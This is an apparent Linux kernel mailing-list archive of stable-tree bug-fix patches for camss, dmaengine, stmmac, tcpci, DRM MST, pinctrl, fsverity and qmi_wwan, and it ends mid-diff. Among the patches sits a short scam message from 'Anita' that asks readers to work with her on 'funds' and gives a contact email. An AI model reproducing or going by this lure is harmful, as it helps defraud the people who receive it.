[PATCH v1 3/9] media: qcom: camss: Fix vfe_get() error jump
by Bryan O'Donoghue
Right now it is possible to do a vfe_get() with the internal reference
count at 1. If vfe_check_clock_rates() returns non-zero then we will
leave the reference count as-is and
run:
- pm_runtime_put_sync()
- vfe->ops->pm_domain_off()
skip:
- camss_disable_clocks()
Subsequent vfe_put() calls will when the ref-count is non-zero
unconditionally run:
- pm_runtime_put_sync()
- vfe->ops->pm_domain_off()
- camss_disable_clocks()
vfe_get() should not attempt to roll-back on error when the ref-count is
non-zero as the upper layers will still do their own vfe_put() operations.
vfe_put() will drop the reference count and do the necessary power
domain release, the cleanup jumps in vfe_get() should only be run when
the ref-count is zero.
[ 50.095796] CPU: 7 PID: 3075 Comm: cam Not tainted 6.3.2+ #80
[ 50.095798] Hardware name: LENOVO 21BXCTO1WW/21BXCTO1WW, BIOS N3HET82W (1.54 ) 05/26/2023
[ 50.095799] pstate: 60400005 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)
[ 50.095802] pc : refcount_warn_saturate+0xf4/0x148
[ 50.095804] lr : refcount_warn_saturate+0xf4/0x148
[ 50.095805] sp : ffff80000c7cb8b0
[ 50.095806] x29: ffff80000c7cb8b0 x28: ffff16ecc0e3fc10 x27: 0000000000000000
[ 50.095810] x26: 0000000000000000 x25: 0000000000020802 x24: 0000000000000000
[ 50.095813] x23: ffff16ecc7360640 x22: 00000000ffffffff x21: 0000000000000005
[ 50.095815] x20: ffff16ed175f4400 x19: ffffb4d9852942a8 x18: ffffffffffffffff
[ 50.095818] x17: ffffb4d9852d4a48 x16: ffffb4d983da5db8 x15: ffff80000c7cb320
[ 50.095821] x14: 0000000000000001 x13: 2e656572662d7265 x12: 7466612d65737520
[ 50.095823] x11: 00000000ffffefff x10: ffffb4d9850cebf0 x9 : ffffb4d9835cf954
[ 50.095826] x8 : 0000000000017fe8 x7 : c0000000ffffefff x6 : 0000000000057fa8
[ 50.095829] x5 : ffff16f813fe3d08 x4 : 0000000000000000 x3 : ffff621e8f4d2000
[ 50.095832] x2 : 0000000000000000 x1 : 0000000000000000 x0 : ffff16ed32119040
[ 50.095835] Call trace:
[ 50.095836] refcount_warn_saturate+0xf4/0x148
[ 50.095838] device_link_put_kref+0x84/0xc8
[ 50.095843] device_link_del+0x38/0x58
[ 50.095846] vfe_pm_domain_off+0x3c/0x50 [qcom_camss]
[ 50.095860] vfe_put+0x114/0x140 [qcom_camss]
[ 50.095869] csid_set_power+0x2c8/0x408 [qcom_camss]
[ 50.095878] pipeline_pm_power_one+0x164/0x170 [videodev]
[ 50.095896] pipeline_pm_power+0xc4/0x110 [videodev]
[ 50.095909] v4l2_pipeline_pm_use+0x5c/0xa0 [videodev]
[ 50.095923] v4l2_pipeline_pm_get+0x1c/0x30 [videodev]
[ 50.095937] video_open+0x7c/0x100 [qcom_camss]
[ 50.095945] v4l2_open+0x84/0x130 [videodev]
[ 50.095960] chrdev_open+0xc8/0x250
[ 50.095964] do_dentry_open+0x1bc/0x498
[ 50.095966] vfs_open+0x34/0x40
[ 50.095968] path_openat+0xb44/0xf20
[ 50.095971] do_filp_open+0xa4/0x160
[ 50.095974] do_sys_openat2+0xc8/0x188
[ 50.095975] __arm64_sys_openat+0x6c/0xb8
[ 50.095977] invoke_syscall+0x50/0x128
[ 50.095982] el0_svc_common.constprop.0+0x4c/0x100
[ 50.095985] do_el0_svc+0x40/0xa8
[ 50.095988] el0_svc+0x2c/0x88
[ 50.095991] el0t_64_sync_handler+0xf4/0x120
[ 50.095994] el0t_64_sync+0x190/0x198
[ 50.095996] ---[ end trace 0000000000000000 ]---
Fixes: 779096916dae ("media: camss: vfe: Fix runtime PM imbalance on error")
Cc: stable(a)vger.kernel.org
Signed-off-by: Bryan O'Donoghue <bryan.odonoghue(a)linaro.org>
---
drivers/media/platform/qcom/camss/camss-vfe.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/drivers/media/platform/qcom/camss/camss-vfe.c b/drivers/media/platform/qcom/camss/camss-vfe.c
index dabfd613b2f94..938f373bcd1fd 100644
--- a/drivers/media/platform/qcom/camss/camss-vfe.c
+++ b/drivers/media/platform/qcom/camss/camss-vfe.c
@@ -611,7 +611,7 @@ int vfe_get(struct vfe_device *vfe)
} else {
ret = vfe_check_clock_rates(vfe);
if (ret < 0)
- goto error_pm_runtime_get;
+ goto error_pm_domain;
}
vfe->power_count++;
--
2.41.0
2 years, 4 months
- 1
- 0
[PATCH v1 1/9] media: qcom: camss: Fix pm_domain_on sequence in probe
by Bryan O'Donoghue
We need to make sure camss_configure_pd() happens before
camss_register_entities() as the vfe_get() path relies on the pointer
provided by camss_configure_pd().
Fix the ordering sequence in probe to ensure the pointers vfe_get() demands
are present by the time camss_register_entities() runs.
In order to facilitate backporting to stable kernels I've moved the
configure_pd() call pretty early on the probe() function so that
irrespective of the existence of the old error handling jump labels this
patch should still apply to -next circa Aug 2023 to v5.13 inclusive.
Fixes: 2f6f8af67203 ("media: camss: Refactor VFE power domain toggling")
Cc: stable(a)vger.kernel.org
Signed-off-by: Bryan O'Donoghue <bryan.odonoghue(a)linaro.org>
---
drivers/media/platform/qcom/camss/camss.c | 12 ++++++------
1 file changed, 6 insertions(+), 6 deletions(-)
diff --git a/drivers/media/platform/qcom/camss/camss.c b/drivers/media/platform/qcom/camss/camss.c
index f11dc59135a5a..75991d849b571 100644
--- a/drivers/media/platform/qcom/camss/camss.c
+++ b/drivers/media/platform/qcom/camss/camss.c
@@ -1619,6 +1619,12 @@ static int camss_probe(struct platform_device *pdev)
if (ret < 0)
goto err_cleanup;
+ ret = camss_configure_pd(camss);
+ if (ret < 0) {
+ dev_err(dev, "Failed to configure power domains: %d\n", ret);
+ goto err_cleanup;
+ }
+
ret = camss_init_subdevices(camss);
if (ret < 0)
goto err_cleanup;
@@ -1678,12 +1684,6 @@ static int camss_probe(struct platform_device *pdev)
}
}
- ret = camss_configure_pd(camss);
- if (ret < 0) {
- dev_err(dev, "Failed to configure power domains: %d\n", ret);
- return ret;
- }
-
pm_runtime_enable(dev);
return 0;
--
2.41.0
2 years, 4 months
- 1
- 0
[PATCH AUTOSEL 5.10 1/3] idmaengine: make FSL_EDMA and INTEL_IDMA64 depends on HAS_IOMEM
by Sasha Levin
From: Baoquan He <bhe(a)redhat.com>
[ Upstream commit b1e213a9e31c20206f111ec664afcf31cbfe0dbb ]
On s390 systems (aka mainframes), it has classic channel devices for
networking and permanent storage that are currently even more common
than PCI devices. Hence it could have a fully functional s390 kernel
with CONFIG_PCI=n, then the relevant iomem mapping functions
[including ioremap(), devm_ioremap(), etc.] are not available.
Here let FSL_EDMA and INTEL_IDMA64 depend on HAS_IOMEM so that it
won't be built to cause below compiling error if PCI is unset.
--------
ERROR: modpost: "devm_platform_ioremap_resource" [drivers/dma/fsl-edma.ko] undefined!
ERROR: modpost: "devm_platform_ioremap_resource" [drivers/dma/idma64.ko] undefined!
--------
Reported-by: kernel test robot <lkp(a)intel.com>
Closes: https://lore.kernel.org/oe-kbuild-all/202306211329.ticOJCSv-lkp@intel.com/
Signed-off-by: Baoquan He <bhe(a)redhat.com>
Cc: Vinod Koul <vkoul(a)kernel.org>
Cc: dmaengine(a)vger.kernel.org
Link: https://lore.kernel.org/r/20230707135852.24292-2-bhe@redhat.com
Signed-off-by: Vinod Koul <vkoul(a)kernel.org>
Signed-off-by: Sasha Levin <sashal(a)kernel.org>
---
drivers/dma/Kconfig | 2 ++
1 file changed, 2 insertions(+)
diff --git a/drivers/dma/Kconfig b/drivers/dma/Kconfig
index 08013345d1f24..7e1bd79fbee8f 100644
--- a/drivers/dma/Kconfig
+++ b/drivers/dma/Kconfig
@@ -208,6 +208,7 @@ config FSL_DMA
config FSL_EDMA
tristate "Freescale eDMA engine support"
depends on OF
+ depends on HAS_IOMEM
select DMA_ENGINE
select DMA_VIRTUAL_CHANNELS
help
@@ -277,6 +278,7 @@ config IMX_SDMA
config INTEL_IDMA64
tristate "Intel integrated DMA 64-bit support"
+ depends on HAS_IOMEM
select DMA_ENGINE
select DMA_VIRTUAL_CHANNELS
help
--
2.40.1
2 years, 4 months
- 2
- 3
[PATCH net] net: stmmac: remove disable_irq() from ->ndo_poll_controller()
by Remi Pommarel
Using netconsole netpoll_poll_dev could be called from interrupt
context, thus using disable_irq() would cause the following kernel
warning with CONFIG_DEBUG_ATOMIC_SLEEP enabled:
BUG: sleeping function called from invalid context at kernel/irq/manage.c:137
in_atomic(): 1, irqs_disabled(): 128, non_block: 0, pid: 10, name: ksoftirqd/0
CPU: 0 PID: 10 Comm: ksoftirqd/0 Tainted: G W 5.15.42-00075-g816b502b2298-dirty #117
Hardware name: aml (r1) (DT)
Call trace:
dump_backtrace+0x0/0x270
show_stack+0x14/0x20
dump_stack_lvl+0x8c/0xac
dump_stack+0x18/0x30
___might_sleep+0x150/0x194
__might_sleep+0x64/0xbc
synchronize_irq+0x8c/0x150
disable_irq+0x2c/0x40
stmmac_poll_controller+0x140/0x1a0
netpoll_poll_dev+0x6c/0x220
netpoll_send_skb+0x308/0x390
netpoll_send_udp+0x418/0x760
write_msg+0x118/0x140 [netconsole]
console_unlock+0x404/0x500
vprintk_emit+0x118/0x250
dev_vprintk_emit+0x19c/0x1cc
dev_printk_emit+0x90/0xa8
__dev_printk+0x78/0x9c
_dev_warn+0xa4/0xbc
ath10k_warn+0xe8/0xf0 [ath10k_core]
ath10k_htt_txrx_compl_task+0x790/0x7fc [ath10k_core]
ath10k_pci_napi_poll+0x98/0x1f4 [ath10k_pci]
__napi_poll+0x58/0x1f4
net_rx_action+0x504/0x590
_stext+0x1b8/0x418
run_ksoftirqd+0x74/0xa4
smpboot_thread_fn+0x210/0x3c0
kthread+0x1fc/0x210
ret_from_fork+0x10/0x20
Commit [0] introcuded disable_hardirq() to address this situation, so
use it here to avoid above warning.
[0] 02cea395866 ("genirq: Provide disable_hardirq()")
Cc: <stable(a)vger.kernel.org>
Signed-off-by: Remi Pommarel <repk(a)triplefau.lt>
---
drivers/net/ethernet/stmicro/stmmac/stmmac_main.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/drivers/net/ethernet/stmicro/stmmac/stmmac_main.c b/drivers/net/ethernet/stmicro/stmmac/stmmac_main.c
index 4727f7be4f86..bbe509abc5dc 100644
--- a/drivers/net/ethernet/stmicro/stmmac/stmmac_main.c
+++ b/drivers/net/ethernet/stmicro/stmmac/stmmac_main.c
@@ -5958,8 +5958,8 @@ static void stmmac_poll_controller(struct net_device *dev)
for (i = 0; i < priv->plat->tx_queues_to_use; i++)
stmmac_msi_intr_tx(0, &priv->dma_conf.tx_queue[i]);
} else {
- disable_irq(dev->irq);
- stmmac_interrupt(dev->irq, dev);
+ if (disable_hardirq(dev->irq))
+ stmmac_interrupt(dev->irq, dev);
enable_irq(dev->irq);
}
}
--
2.40.0
2 years, 4 months
- 2
- 2
From Anita.
by Fred Fedir k.
Hello
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the details relating to the funds. Please get back to me through my
email with your response if you are willing to work with me.
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Anita Anderson
anitaanderson1122(a)proton.me
2 years, 4 months
- 1
- 0
[PATCH v3] usb: typec: tcpci: clear the fault status bit
by Fabio Estevam
From: Marco Felsch <m.felsch(a)pengutronix.de>
According the "USB Type-C Port Controller Interface Specification v2.0"
the TCPC sets the fault status register bit-7
(AllRegistersResetToDefault) once the registers have been reset to
their default values.
This triggers an alert(-irq) on PTN5110 devices albeit we do mask the
fault-irq, which may cause a kernel hang. Fix this generically by writing
a one to the corresponding bit-7.
Cc: stable(a)vger.kernel.org
Fixes: 74e656d6b055 ("staging: typec: Type-C Port Controller Interface driver (tcpci)")
Reported-by: Angus Ainslie (Purism) <angus(a)akkea.ca>
Closes: https://lore.kernel.org/all/20190508002749.14816-2-angus@akkea.ca/
Reported-by: Christian Bach <christian.bach(a)scs.ch>
Closes: https://lore.kernel.org/regressions/ZR0P278MB07737E5F1D48632897D51AC3EB329@…
Signed-off-by: Marco Felsch <m.felsch(a)pengutronix.de>
Signed-off-by: Fabio Estevam <festevam(a)denx.de>
---
Changes since v2:
- Submitted it as a standalone patch.
- Explain that it may cause a kernel hang.
- Fixed typos in the commit log. (Guenter)
- Check the tcpci_write16() return value. (Guenter)
- Write to TCPC_FAULT_STATUS unconditionally. (Guenter)
- Added Fixes, Reported-by and Closes tags.
- CCed stable
drivers/usb/typec/tcpm/tcpci.c | 4 ++++
include/linux/usb/tcpci.h | 1 +
2 files changed, 5 insertions(+)
diff --git a/drivers/usb/typec/tcpm/tcpci.c b/drivers/usb/typec/tcpm/tcpci.c
index fc708c289a73..0ee3e6e29bb1 100644
--- a/drivers/usb/typec/tcpm/tcpci.c
+++ b/drivers/usb/typec/tcpm/tcpci.c
@@ -602,6 +602,10 @@ static int tcpci_init(struct tcpc_dev *tcpc)
if (time_after(jiffies, timeout))
return -ETIMEDOUT;
+ ret = tcpci_write16(tcpci, TCPC_FAULT_STATUS, TCPC_FAULT_STATUS_ALL_REG_RST_TO_DEFAULT);
+ if (ret < 0)
+ return ret;
+
/* Handle vendor init */
if (tcpci->data->init) {
ret = tcpci->data->init(tcpci, tcpci->data);
diff --git a/include/linux/usb/tcpci.h b/include/linux/usb/tcpci.h
index 85e95a3251d3..83376473ac76 100644
--- a/include/linux/usb/tcpci.h
+++ b/include/linux/usb/tcpci.h
@@ -103,6 +103,7 @@
#define TCPC_POWER_STATUS_SINKING_VBUS BIT(0)
#define TCPC_FAULT_STATUS 0x1f
+#define TCPC_FAULT_STATUS_ALL_REG_RST_TO_DEFAULT BIT(7)
#define TCPC_ALERT_EXTENDED 0x21
--
2.34.1
2 years, 4 months
- 4
- 3
[PATCH] drm/dp_mst: Fix NULL deref in get_mst_branch_device_by_guid_helper()
by Lukasz Majczak
Check mgr->mst_primary, before passing it to
the get_mst_branch_device_by_guid_helper(), otherwise NULL dereference
may occur in the call to memcpy() and cause:
[12579.365869] BUG: kernel NULL pointer dereference, address: 0000000000000049
[12579.365878] #PF: supervisor read access in kernel mode
[12579.365880] #PF: error_code(0x0000) - not-present page
[12579.365882] PGD 0 P4D 0
[12579.365887] Oops: 0000 [#1] PREEMPT SMP NOPTI
...
[12579.365895] Workqueue: events_long drm_dp_mst_up_req_work
[12579.365899] RIP: 0010:memcmp+0xb/0x29
[12579.365921] Call Trace:
[12579.365927] get_mst_branch_device_by_guid_helper+0x22/0x64
[12579.365930] drm_dp_mst_up_req_work+0x137/0x416
[12579.365933] process_one_work+0x1d0/0x419
[12579.365935] worker_thread+0x11a/0x289
[12579.365938] kthread+0x13e/0x14f
[12579.365941] ? process_one_work+0x419/0x419
[12579.365943] ? kthread_blkcg+0x31/0x31
[12579.365946] ret_from_fork+0x1f/0x30
Similar check is done in e.g: drm_dp_mst_topology_get_mstb_validated().
Fixes: 5e93b8208d3c ("drm/dp/mst: move GUID storage from mgr, port to only mst branch")
Cc: <stable(a)vger.kernel.org> # 4.14+
Signed-off-by: Lukasz Majczak <lma(a)semihalf.com>
---
drivers/gpu/drm/display/drm_dp_mst_topology.c | 16 ++++++++--------
1 file changed, 8 insertions(+), 8 deletions(-)
diff --git a/drivers/gpu/drm/display/drm_dp_mst_topology.c b/drivers/gpu/drm/display/drm_dp_mst_topology.c
index ed96cfcfa304..703cd97b1d11 100644
--- a/drivers/gpu/drm/display/drm_dp_mst_topology.c
+++ b/drivers/gpu/drm/display/drm_dp_mst_topology.c
@@ -2595,19 +2595,19 @@ static struct drm_dp_mst_branch *
drm_dp_get_mst_branch_device_by_guid(struct drm_dp_mst_topology_mgr *mgr,
const uint8_t *guid)
{
- struct drm_dp_mst_branch *mstb;
+ struct drm_dp_mst_branch *mstb = NULL;
int ret;
/* find the port by iterating down */
mutex_lock(&mgr->lock);
-
- mstb = get_mst_branch_device_by_guid_helper(mgr->mst_primary, guid);
- if (mstb) {
- ret = drm_dp_mst_topology_try_get_mstb(mstb);
- if (!ret)
- mstb = NULL;
+ if (mgr->mst_primary) {
+ mstb = get_mst_branch_device_by_guid_helper(mgr->mst_primary, guid);
+ if (mstb) {
+ ret = drm_dp_mst_topology_try_get_mstb(mstb);
+ if (!ret)
+ mstb = NULL;
+ }
}
-
mutex_unlock(&mgr->lock);
return mstb;
}
--
2.41.0.640.ga95def55d0-goog
2 years, 4 months
- 2
- 2
[PATCH v2] pinctrl: cherryview: fix address_space_handler() argument
by Raag Jadav
First argument of acpi_*_address_space_handler() APIs is acpi_handle of
the device, which is incorrectly passed in driver ->remove() path here.
Fix it by passing the appropriate argument and while at it, make both
API calls consistent using ACPI_HANDLE().
Fixes: a0b028597d59 ("pinctrl: cherryview: Add support for GMMR GPIO opregion")
Cc: stable(a)vger.kernel.org
Signed-off-by: Raag Jadav <raag.jadav(a)intel.com>
---
Changes since v1:
- Update subject and commit message
drivers/pinctrl/intel/pinctrl-cherryview.c | 5 ++---
1 file changed, 2 insertions(+), 3 deletions(-)
diff --git a/drivers/pinctrl/intel/pinctrl-cherryview.c b/drivers/pinctrl/intel/pinctrl-cherryview.c
index 7ffe4dafeebb..2bb574cf01d9 100644
--- a/drivers/pinctrl/intel/pinctrl-cherryview.c
+++ b/drivers/pinctrl/intel/pinctrl-cherryview.c
@@ -1650,7 +1650,6 @@ static int chv_pinctrl_probe(struct platform_device *pdev)
struct intel_community_context *cctx;
struct intel_community *community;
struct device *dev = &pdev->dev;
- struct acpi_device *adev = ACPI_COMPANION(dev);
struct intel_pinctrl *pctrl;
acpi_status status;
unsigned int i;
@@ -1718,7 +1717,7 @@ static int chv_pinctrl_probe(struct platform_device *pdev)
if (ret)
return ret;
- status = acpi_install_address_space_handler(adev->handle,
+ status = acpi_install_address_space_handler(ACPI_HANDLE(dev),
community->acpi_space_id,
chv_pinctrl_mmio_access_handler,
NULL, pctrl);
@@ -1735,7 +1734,7 @@ static int chv_pinctrl_remove(struct platform_device *pdev)
struct intel_pinctrl *pctrl = platform_get_drvdata(pdev);
const struct intel_community *community = &pctrl->communities[0];
- acpi_remove_address_space_handler(ACPI_COMPANION(&pdev->dev),
+ acpi_remove_address_space_handler(ACPI_HANDLE(&pdev->dev),
community->acpi_space_id,
chv_pinctrl_mmio_access_handler);
--
2.17.1
2 years, 4 months
- 3
- 2
[PATCH AUTOSEL 4.14 1/2] idmaengine: make FSL_EDMA and INTEL_IDMA64 depends on HAS_IOMEM
by Sasha Levin
From: Baoquan He <bhe(a)redhat.com>
[ Upstream commit b1e213a9e31c20206f111ec664afcf31cbfe0dbb ]
On s390 systems (aka mainframes), it has classic channel devices for
networking and permanent storage that are currently even more common
than PCI devices. Hence it could have a fully functional s390 kernel
with CONFIG_PCI=n, then the relevant iomem mapping functions
[including ioremap(), devm_ioremap(), etc.] are not available.
Here let FSL_EDMA and INTEL_IDMA64 depend on HAS_IOMEM so that it
won't be built to cause below compiling error if PCI is unset.
--------
ERROR: modpost: "devm_platform_ioremap_resource" [drivers/dma/fsl-edma.ko] undefined!
ERROR: modpost: "devm_platform_ioremap_resource" [drivers/dma/idma64.ko] undefined!
--------
Reported-by: kernel test robot <lkp(a)intel.com>
Closes: https://lore.kernel.org/oe-kbuild-all/202306211329.ticOJCSv-lkp@intel.com/
Signed-off-by: Baoquan He <bhe(a)redhat.com>
Cc: Vinod Koul <vkoul(a)kernel.org>
Cc: dmaengine(a)vger.kernel.org
Link: https://lore.kernel.org/r/20230707135852.24292-2-bhe@redhat.com
Signed-off-by: Vinod Koul <vkoul(a)kernel.org>
Signed-off-by: Sasha Levin <sashal(a)kernel.org>
---
drivers/dma/Kconfig | 2 ++
1 file changed, 2 insertions(+)
diff --git a/drivers/dma/Kconfig b/drivers/dma/Kconfig
index 5ea37d133f241..6abb80b09db3b 100644
--- a/drivers/dma/Kconfig
+++ b/drivers/dma/Kconfig
@@ -209,6 +209,7 @@ config FSL_DMA
config FSL_EDMA
tristate "Freescale eDMA engine support"
depends on OF
+ depends on HAS_IOMEM
select DMA_ENGINE
select DMA_VIRTUAL_CHANNELS
help
@@ -254,6 +255,7 @@ config IMX_SDMA
config INTEL_IDMA64
tristate "Intel integrated DMA 64-bit support"
+ depends on HAS_IOMEM
select DMA_ENGINE
select DMA_VIRTUAL_CHANNELS
help
--
2.40.1
2 years, 4 months
- 1
- 1
[PATCH AUTOSEL 4.19 1/2] idmaengine: make FSL_EDMA and INTEL_IDMA64 depends on HAS_IOMEM
by Sasha Levin
From: Baoquan He <bhe(a)redhat.com>
[ Upstream commit b1e213a9e31c20206f111ec664afcf31cbfe0dbb ]
On s390 systems (aka mainframes), it has classic channel devices for
networking and permanent storage that are currently even more common
than PCI devices. Hence it could have a fully functional s390 kernel
with CONFIG_PCI=n, then the relevant iomem mapping functions
[including ioremap(), devm_ioremap(), etc.] are not available.
Here let FSL_EDMA and INTEL_IDMA64 depend on HAS_IOMEM so that it
won't be built to cause below compiling error if PCI is unset.
--------
ERROR: modpost: "devm_platform_ioremap_resource" [drivers/dma/fsl-edma.ko] undefined!
ERROR: modpost: "devm_platform_ioremap_resource" [drivers/dma/idma64.ko] undefined!
--------
Reported-by: kernel test robot <lkp(a)intel.com>
Closes: https://lore.kernel.org/oe-kbuild-all/202306211329.ticOJCSv-lkp@intel.com/
Signed-off-by: Baoquan He <bhe(a)redhat.com>
Cc: Vinod Koul <vkoul(a)kernel.org>
Cc: dmaengine(a)vger.kernel.org
Link: https://lore.kernel.org/r/20230707135852.24292-2-bhe@redhat.com
Signed-off-by: Vinod Koul <vkoul(a)kernel.org>
Signed-off-by: Sasha Levin <sashal(a)kernel.org>
---
drivers/dma/Kconfig | 2 ++
1 file changed, 2 insertions(+)
diff --git a/drivers/dma/Kconfig b/drivers/dma/Kconfig
index e5f31af65aabf..00e1ffa4fcf1c 100644
--- a/drivers/dma/Kconfig
+++ b/drivers/dma/Kconfig
@@ -212,6 +212,7 @@ config FSL_DMA
config FSL_EDMA
tristate "Freescale eDMA engine support"
depends on OF
+ depends on HAS_IOMEM
select DMA_ENGINE
select DMA_VIRTUAL_CHANNELS
help
@@ -258,6 +259,7 @@ config IMX_SDMA
config INTEL_IDMA64
tristate "Intel integrated DMA 64-bit support"
+ depends on HAS_IOMEM
select DMA_ENGINE
select DMA_VIRTUAL_CHANNELS
help
--
2.40.1
2 years, 4 months
- 1
- 1
[PATCH AUTOSEL 5.4 1/2] idmaengine: make FSL_EDMA and INTEL_IDMA64 depends on HAS_IOMEM
by Sasha Levin
From: Baoquan He <bhe(a)redhat.com>
[ Upstream commit b1e213a9e31c20206f111ec664afcf31cbfe0dbb ]
On s390 systems (aka mainframes), it has classic channel devices for
networking and permanent storage that are currently even more common
than PCI devices. Hence it could have a fully functional s390 kernel
with CONFIG_PCI=n, then the relevant iomem mapping functions
[including ioremap(), devm_ioremap(), etc.] are not available.
Here let FSL_EDMA and INTEL_IDMA64 depend on HAS_IOMEM so that it
won't be built to cause below compiling error if PCI is unset.
--------
ERROR: modpost: "devm_platform_ioremap_resource" [drivers/dma/fsl-edma.ko] undefined!
ERROR: modpost: "devm_platform_ioremap_resource" [drivers/dma/idma64.ko] undefined!
--------
Reported-by: kernel test robot <lkp(a)intel.com>
Closes: https://lore.kernel.org/oe-kbuild-all/202306211329.ticOJCSv-lkp@intel.com/
Signed-off-by: Baoquan He <bhe(a)redhat.com>
Cc: Vinod Koul <vkoul(a)kernel.org>
Cc: dmaengine(a)vger.kernel.org
Link: https://lore.kernel.org/r/20230707135852.24292-2-bhe@redhat.com
Signed-off-by: Vinod Koul <vkoul(a)kernel.org>
Signed-off-by: Sasha Levin <sashal(a)kernel.org>
---
drivers/dma/Kconfig | 2 ++
1 file changed, 2 insertions(+)
diff --git a/drivers/dma/Kconfig b/drivers/dma/Kconfig
index 1322461f1f3c5..66aad9dbd58c5 100644
--- a/drivers/dma/Kconfig
+++ b/drivers/dma/Kconfig
@@ -208,6 +208,7 @@ config FSL_DMA
config FSL_EDMA
tristate "Freescale eDMA engine support"
depends on OF
+ depends on HAS_IOMEM
select DMA_ENGINE
select DMA_VIRTUAL_CHANNELS
help
@@ -268,6 +269,7 @@ config IMX_SDMA
config INTEL_IDMA64
tristate "Intel integrated DMA 64-bit support"
+ depends on HAS_IOMEM
select DMA_ENGINE
select DMA_VIRTUAL_CHANNELS
help
--
2.40.1
2 years, 4 months
- 1
- 1
[PATCH v3] fsverity: skip PKCS#7 parser when keyring is empty
by Eric Biggers
From: Eric Biggers <ebiggers(a)google.com>
If an fsverity builtin signature is given for a file but the
".fs-verity" keyring is empty, there's no real reason to run the PKCS#7
parser. Skip this to avoid the PKCS#7 attack surface when builtin
signature support is configured into the kernel but is not being used.
This is a hardening improvement, not a fix per se, but I've added
Fixes and Cc stable to get it out to more users.
Fixes: 432434c9f8e1 ("fs-verity: support builtin file signatures")
Cc: stable(a)vger.kernel.org
Reviewed-by: Jarkko Sakkinen <jarkko(a)kernel.org>
Signed-off-by: Eric Biggers <ebiggers(a)google.com>
---
v3: improve the error message slightly
v2: check keyring and return early before allocating formatted digest
fs/verity/signature.c | 16 ++++++++++++++++
1 file changed, 16 insertions(+)
diff --git a/fs/verity/signature.c b/fs/verity/signature.c
index b95acae64eac6..90c07573dd77b 100644
--- a/fs/verity/signature.c
+++ b/fs/verity/signature.c
@@ -55,20 +55,36 @@ int fsverity_verify_signature(const struct fsverity_info *vi,
if (sig_size == 0) {
if (fsverity_require_signatures) {
fsverity_err(inode,
"require_signatures=1, rejecting unsigned file!");
return -EPERM;
}
return 0;
}
+ if (fsverity_keyring->keys.nr_leaves_on_tree == 0) {
+ /*
+ * The ".fs-verity" keyring is empty, due to builtin signatures
+ * being supported by the kernel but not actually being used.
+ * In this case, verify_pkcs7_signature() would always return an
+ * error, usually ENOKEY. It could also be EBADMSG if the
+ * PKCS#7 is malformed, but that isn't very important to
+ * distinguish. So, just skip to ENOKEY to avoid the attack
+ * surface of the PKCS#7 parser, which would otherwise be
+ * reachable by any task able to execute FS_IOC_ENABLE_VERITY.
+ */
+ fsverity_err(inode,
+ "fs-verity keyring is empty, rejecting signed file!");
+ return -ENOKEY;
+ }
+
d = kzalloc(sizeof(*d) + hash_alg->digest_size, GFP_KERNEL);
if (!d)
return -ENOMEM;
memcpy(d->magic, "FSVerity", 8);
d->digest_algorithm = cpu_to_le16(hash_alg - fsverity_hash_algs);
d->digest_size = cpu_to_le16(hash_alg->digest_size);
memcpy(d->digest, vi->file_digest, hash_alg->digest_size);
err = verify_pkcs7_signature(d, sizeof(*d) + hash_alg->digest_size,
signature, sig_size, fsverity_keyring,
base-commit: 456ae5fe9b448f44ebe98b391a3bae9c75df465e
--
2.41.0
2 years, 4 months
- 2
- 1
[PATCH AUTOSEL 4.14 1/2] net: usb: qmi_wwan: add Quectel EM05GV2
by Sasha Levin
From: Martin Kohn <m.kohn(a)welotec.com>
[ Upstream commit d4480c9bb9258db9ddf2e632f6ef81e96b41089c ]
Add support for Quectel EM05GV2 (G=global) with vendor ID
0x2c7c and product ID 0x030e
Enabling DTR on this modem was necessary to ensure stable operation.
Patch for usb: serial: option: is also in progress.
T: Bus=01 Lev=01 Prnt=01 Port=00 Cnt=01 Dev#= 2 Spd=480 MxCh= 0
D: Ver= 2.00 Cls=ef(misc ) Sub=02 Prot=01 MxPS=64 #Cfgs= 1
P: Vendor=2c7c ProdID=030e Rev= 3.18
S: Manufacturer=Quectel
S: Product=Quectel EM05-G
C:* #Ifs= 5 Cfg#= 1 Atr=a0 MxPwr=500mA
I:* If#= 0 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=ff Prot=ff Driver=option
E: Ad=81(I) Atr=02(Bulk) MxPS= 512 Ivl=0ms
E: Ad=01(O) Atr=02(Bulk) MxPS= 512 Ivl=0ms
I:* If#= 1 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=option
E: Ad=83(I) Atr=03(Int.) MxPS= 10 Ivl=32ms
E: Ad=82(I) Atr=02(Bulk) MxPS= 512 Ivl=0ms
E: Ad=02(O) Atr=02(Bulk) MxPS= 512 Ivl=0ms
I:* If#= 2 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=option
E: Ad=85(I) Atr=03(Int.) MxPS= 10 Ivl=32ms
E: Ad=84(I) Atr=02(Bulk) MxPS= 512 Ivl=0ms
E: Ad=03(O) Atr=02(Bulk) MxPS= 512 Ivl=0ms
I:* If#= 3 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=option
E: Ad=87(I) Atr=03(Int.) MxPS= 10 Ivl=32ms
E: Ad=86(I) Atr=02(Bulk) MxPS= 512 Ivl=0ms
E: Ad=04(O) Atr=02(Bulk) MxPS= 512 Ivl=0ms
I:* If#= 4 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=ff Prot=ff Driver=qmi_wwan
E: Ad=89(I) Atr=03(Int.) MxPS= 8 Ivl=32ms
E: Ad=88(I) Atr=02(Bulk) MxPS= 512 Ivl=0ms
E: Ad=05(O) Atr=02(Bulk) MxPS= 512 Ivl=0ms
Signed-off-by: Martin Kohn <m.kohn(a)welotec.com>
Link: https://lore.kernel.org/r/AM0PR04MB57648219DE893EE04FA6CC759701A@AM0PR04MB5…
Signed-off-by: Jakub Kicinski <kuba(a)kernel.org>
Signed-off-by: Sasha Levin <sashal(a)kernel.org>
---
drivers/net/usb/qmi_wwan.c | 1 +
1 file changed, 1 insertion(+)
diff --git a/drivers/net/usb/qmi_wwan.c b/drivers/net/usb/qmi_wwan.c
index 8cdf822dfda06..880aa7f6a779c 100644
--- a/drivers/net/usb/qmi_wwan.c
+++ b/drivers/net/usb/qmi_wwan.c
@@ -1365,6 +1365,7 @@ static const struct usb_device_id products[] = {
